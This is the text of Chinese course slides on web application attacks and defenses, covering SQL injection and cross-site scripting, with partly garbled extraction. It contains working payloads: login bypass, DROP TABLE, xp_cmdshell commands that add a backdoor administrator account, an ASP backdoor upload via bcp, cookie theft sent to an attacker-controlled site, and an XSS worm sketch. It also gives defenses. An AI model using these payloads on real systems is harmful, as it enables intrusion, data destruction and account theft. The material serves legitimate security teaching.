7.Web应用的攻击及防御技术(下).pptx

上传人:少林足球 文档编号:4201189 上传时间:2019-10-27 格式:PPTX 页数:34 大小:1.08MB
返回 下载 相关 举报
7.Web应用的攻击及防御技术(下).pptx_第1页
第1页 / 共34页
7.Web应用的攻击及防御技术(下).pptx_第2页
第2页 / 共34页
7.Web应用的攻击及防御技术(下).pptx_第3页
第3页 / 共34页
7.Web应用的攻击及防御技术(下).pptx_第4页
第4页 / 共34页
7.Web应用的攻击及防御技术(下).pptx_第5页
第5页 / 共34页
点击查看更多>>
资源描述

《7.Web应用的攻击及防御技术(下).pptx》由会员分享,可在线阅读,更多相关《7.Web应用的攻击及防御技术(下).pptx(34页珍藏版)》请在三一文库上搜索。

1、1 Web应用安全攻防技术(下) 2 内容 1. Web应用程序体系结构及其安全威 胁 2. Web应用安全攻防技术概述 3. SQL注入 4. 课堂实践:具体SQL注入漏洞测试 5. XSS跨站脚本攻击 6. 课外实践作业:SEED SQL注入攻击 实验 SEED XSS攻击实验 代码注入攻击 o 代码注入攻击 n Web应用程序的输入验证不完善漏洞 n 执行由攻击者所注入的恶意指令和代码 n 敏感信息泄露、权限提升或对系统的未授权访问 o 多样化的代码注入攻击类型 n SQL注入攻击:恶意读取、修改与操纵数据库; n PHP注入或ASP注入攻击:植入和运行 Webshell n Shell

2、注入攻击:恶意执行操作系统命令的; n 其他多样化注入攻击:LDAP注入、邮件命令注入、SSI 注入、XPath注入、XML注入、XQuery注入等 3 4 SQL注入攻击 (SQL Injection) o SQL注入攻击对Web应用程序的威胁 n 相当大部分Web应用程序使用后台数据库,动态产 生内容 n SQL注入攻击: 利用Web应用程序数据层存在的输 入验证不完善型安全漏洞实施的一类代码注入攻击 技术。 o SQL注入漏洞机制 n 用户输入没有被正确地过滤:转义字符(引号、反引 号、双下划线、分号、百分号) n 没有进行严格类型检查:未判断输入是否预定类型 SQL注入攻击原理 o 表

3、示层:表单或URL输入参数 用户输入 o 业务逻辑层:通过用户输入参数构造SQL语句 n 不完善的输入验证机制 o 数据层:通过数据连接执行SQL语句 n 触发恶意数据库操作 5 SQL注入攻击原理解析 o 表示层:request表单 o 业务逻辑层:login.asp o 数据层:后台MS SQL Server 6 SQL注入攻击原理解析(2) o 正常情况 n用户名:guojing;口令:123456 n正常SQL: SELECT * from FROM accounts WHERE username =guojing AND passwd = 123456 o 黄蓉的诡计” n用户名/口

4、令:huangrong OR 1=1 n注入SQL结果:SELECT * from FROM accounts WHERE username =huangrong OR 1=1 AND passwd = huangrong OR 1=1 n等价于:SELECT * from FROM accounts n后果:绕过了login.asp用户身份认证的正常逻辑,获得访问 7 SQL注入攻击原理解析(3) o 黄蓉的诡计2 n 口令框输入:huangrong; DROP TABLE accounts; SELECT * FROM admin WHERE t =t n 注入SQL结果: SELECT

5、* from FROM accounts WHERE username =x OR 1=1 AND passwd = huangrong; DROP TABLE accounts; SELECT * FROM admin WHERE t = t 8 类型约束检查不完备SQL注入 o statement := “SELECT * FROM userinfo WHERE id = “ + a_variable + “;“ o 黄蓉的诡计3:a_variable := “1; DROP TABLE accounts” o 注入SQL结果:SELECT * FROM userinfo WHERE id

6、 = 1; DROP TABLE accounts; 9 实际SQL注入攻击步骤 o 1. 发现SQL注入点 o 2. 判断后台数据库类型 o 3. 利用SQL注入进行后台口令拆解 o 4. 上传ASP后门,得到默认账户权限 o 5. 本地特权提升与利用数据库扩展存储 过程 10 发现SQL注入点 o注入点存在于形如http:/SITE/xxx.asp?some_rec=yyy的 动态网页 n手工审查 nGoogle Hacking o注入点验证 n整数型参数: o“yyy”(加单引号) :SQL错误 o“yyy and 1=1” :正常页面 o“yyy and 1=2” :空白页面 n字符串

7、参数 o“yyy”(加单引号) :SQL错误 o“yyy and 1=1” :正常页面 o“yyy and 1=2” :空白页面 11 判断后台数据库类型 oWeb应用程序流行的后台数据库 nASP:MS SQL ServerACCESS nPHP:MySQL o利用数据库服务器的系统变量进行判断 nMS SQL Server:userdb_name() nMySQL:basedir、 nhttp:/SITE/xxx.asp?some_r ec=yyy and db_name()0 o利用数据库服务器的系统表进行判断 nACCESS:msysobjects nMS SQL Server:sys

8、objects nMySQL: mysql nhttp:/SITE/xxx.asp?some_rec = yyy and (select count(*) from sysobjects)0 12 13 利用SQL注入进行后台口令拆解 o 猜解后台口令表表名 nhttp:/SITE/xxx.asp?some_rec = yyy and (select count (*) from guessed_tbl_name)0 o 猜解字段名 nhttp:/SITE/xxx.asp?some_rec = yyy and (select Count(guessed_rec_name) from Admin

9、) 0 o 猜解字段值: 二分法逼近 n字段长度: http:/SITE/xxx.asp?some_rec = yyy and (select top 1 len(username) from Admin) guessed_length n字段值: 逐位猜解 http:/SITE/xxx.asp?some_rec = yyy and (select top 1 asc(mid(username,N,1) from Admin)guessed_ascii o 口令可能为MD5散列后的密文 nMD5Crack 上传ASP后门,得到默认账户权限 o 后台管理界面 n 利用提供的上传/下载文件等功能上

10、传ASP后门 n Web服务器软件的默认账户权限 o 本地受限账户命令执行 o Web虚拟目录中文件上传/下载 o 利用MS SQL Server的BCP命令 n bcp “select codes from tmp_tbl“ queryout c:inetpubwwwrootruncommand. asp c S localhost U sa P foobar 14 15 本地特权提升与 利用数据库扩展存储过程 o 进一步本地权限提升 n利用系统或某些特权应用服务(如Serv-U)安全漏洞 n利用系统配置不当提升系统权限 o MS SQL Server等DBMS支持扩展存储过程 nxp_cm

11、dshell, 需要sa帐户权限 o 通过SQL注入点执行相应的扩展存储过程 n添加有本地系统管理员权限的后门用户帐号 nhttp:/SITE/xxx.asp?some_rec=yyy; exec master.xp_cmdshell “net user name password /add” nhttp:/SITE/xxx.asp?some_rec=yyy; exec master.xp_cmdshell “net localgroup name administrators /add” 16 自动化SQL注入攻击工具 o自动化SQL注入漏洞发现 nWposion o能够在动态Web文档中找

12、出SQL注入漏洞的工具 nmieliekoek.pl o以网站镜像工具生成的输出为输入,找出含有表单页面 o允许在配置文件中对注入字符串进行修改 o自动化SQL注入测试 nSPIKE Proxy工具 o允许使用者对待注入字符串进行定制 nSPI Toolkit工具包中的“SQL Injector”工具 o国内黑客界工具 nNBSI、HDSI、阿D注入工具、CSC、WED nPangolin 网络攻防技术与实践课程 Copyright (c) 20082009 诸葛建伟 HDSI自动注入工具 网络攻防技术与实践课程 Copyright (c) 20082009 诸葛建伟 18 HDSI自动注入工

13、具(2) 19 SQL注入攻击防范措施 o 使用类型安全(type-safe)的参数编码机制 o 凡是来自外部的用户输入,必须进行完备检查 n“限制、拒绝、净化” nURLScan过滤器:丢弃符合给定规则的输入 nPHP v5.2.0:filter_input()与filter_var() o 将动态SQL语句替换为存储过程、预编译SQL或ADO 命令对象 o 加强SQL数据库服务器的配置与连接 n避免将敏感性数据(如口令)明文存放于数据库中 n最小权限原则配置Web应用程序连接数据库的查询操作权限 n实现一个不泄漏任何有价值信息的默认出错处理机制 20 内容 1. Web应用程序体系结构及其

14、安全威 胁 2. Web应用安全攻防技术概述 3. SQL注入 4. 课堂实践:具体SQL注入漏洞测试 5. XSS跨站脚本攻击 6. 课外实践作业:SEED SQL注入攻击 实验 SEED XSS攻击实验 课堂实践:具体SQL注入漏洞测试 o 实践任务:对北大科研部科研经费查询系统 (http:/ e/search.asp)进行SQL注入漏洞测试,查询获得 所有近期科研经费记录 n1. 根据页面说明推测查询表单的实现逻辑 n2. 在输入查询框中注入构造字符串,使得页面能够返回所有 近期科研经费记录 n3. 找出单个字符,输入查询框后,能达到上述同样查询效果 n4. bonus: 使用Live

15、 HTTP Header或TamperData插 件构造数据,在不在查询框输入内容时,也能达到上述同样效 果 o 注:已向网站管理员发送漏洞告知,不要实施攻击 21 o 什么是跨站脚本? (Wikipedia) n 跨站脚本是一种通常存在于Web应用程序中的安 全漏洞,使得攻击者可以将恶意的代码注入到网页 中,从而危害其他Web访问者。 n 客户端脚本:Javascript,Flash ActionScript等 o 与代码注入攻击的比较 n 相似的漏洞根源:Web应用程序没有对非预期输 入做全面有效检查和净化. n 不同的最终攻击目标 o 代码注入:Web站点 o XSS:访问Web应用程序

16、的其他用户 22 跨站脚本攻击 (XSS: Cross-Site Scripting) 跨站脚本攻击技术原理 23 典型跨站脚本攻击 o 查看用户终端会话Cookie nalert(document.cookie) n会话ID、甚至登录口令等敏感信息 o 窃取Cookie n攻击者控制网站:steal_cookie_ ndocument.location=http:/steal_ cookie_ document.cookie; o 网页挂马 n n 24 跨站脚本攻击类型 o 持久性XSS:Persistentstored n 漏洞形式: Web应用程序允许用户输入内容并 持久保存并显示在网

17、页上. n 攻击方式: 攻击者通过利用跨站漏洞构建恶意脚 本,对大量用户构成危害. n 典型案例: 留言本/论坛/博客/wiki等。 o 非持久性XSS:Non-Persistent reflected n 用户输入产生XSS反馈给该用户,需结合社会工程 学进行攻击 o DOM-based: 本地XSS, 如JS本地生成 HTML页面中存在 25 非持久性XSS攻击过程 26 2014年8月28日网络攻防技术与实践课程 Copyright (c) 20082009 诸葛建伟 27 XSS跨站脚本攻击实例 o SEED实验环境中的phpBB论坛存在XSS XSS跨站脚本攻击实例 测试XSS漏洞

18、o alert(XSS); 28 XSS跨站脚本攻击实例 窃取用户的会话Cookie o document.write(“”); 网络攻防技术与实践课 程 Copyright (c) 2008 2009 诸葛建伟 29 XSS跨站脚本攻击实例 假冒其他用户修改帖子 oLive HTTP Header插件记录Post数据 o修改POST数据 n改变帖子内容,通过窃取Cookie中的sid假冒身份 ndata=“subject=Re%3A+Stealing+your+cookie o使用窃取到的用户会话Cookie nurlConn.addRequestProperty(“Cookie“ ,) o

19、XSS跨站脚本假冒其他用户身份修改内容 n利用URLConnection Java类等编写攻击程序 n或使用Live HTTP HeaderTamperData直接发送修改数据 30 XSS跨站脚本攻击实例 编写XSS蠕虫 31 o ovar Ajax=null; o/ Construct the header information for the Http request oAjax=new XMLHttpRequest(); oAjax.open(“POST“,“http:/ o oAjax.setRequestHeader(“Cookie”,document.cookie); o/ge

20、t sid from the cookie ostr_sid = ; o/Construct the content. The format of the content can be learned from LiveHttpHeader. All we need to fill is subject, message, and sid, for a true XSS worm, we need intgrate the Javascript codes into message. ovar content=“subject=“ + “XSSWorm“ + ” o/Send the HTTP

21、 POST request. oAjax.send(content); o 32 XSS跨站脚本攻击防范措施 o 服务器端防范措施-“限制、拒绝、净化” n 输入验证: 对用户提交数据进行尽可能严格的验证 与过滤 n 输出净化: HTMLEncode()方法 n 消除危险的输入点 o 客户端防范措施 n 提高浏览器访问非受信网站时的安全等级 n 关闭Cookie功能,或设置Cookie只读(IE6SP1 HTTPonly cookie) n 安全意识和浏览习惯-非主流浏览器Chrome, Safari, Opera SEED SQL注入攻击与防御实验 33 SEED XSS攻击与防御实验 34

展开阅读全文
相关资源
猜你喜欢
相关搜索

当前位置:首页 > 其他


经营许可证编号:宁ICP备18001539号-1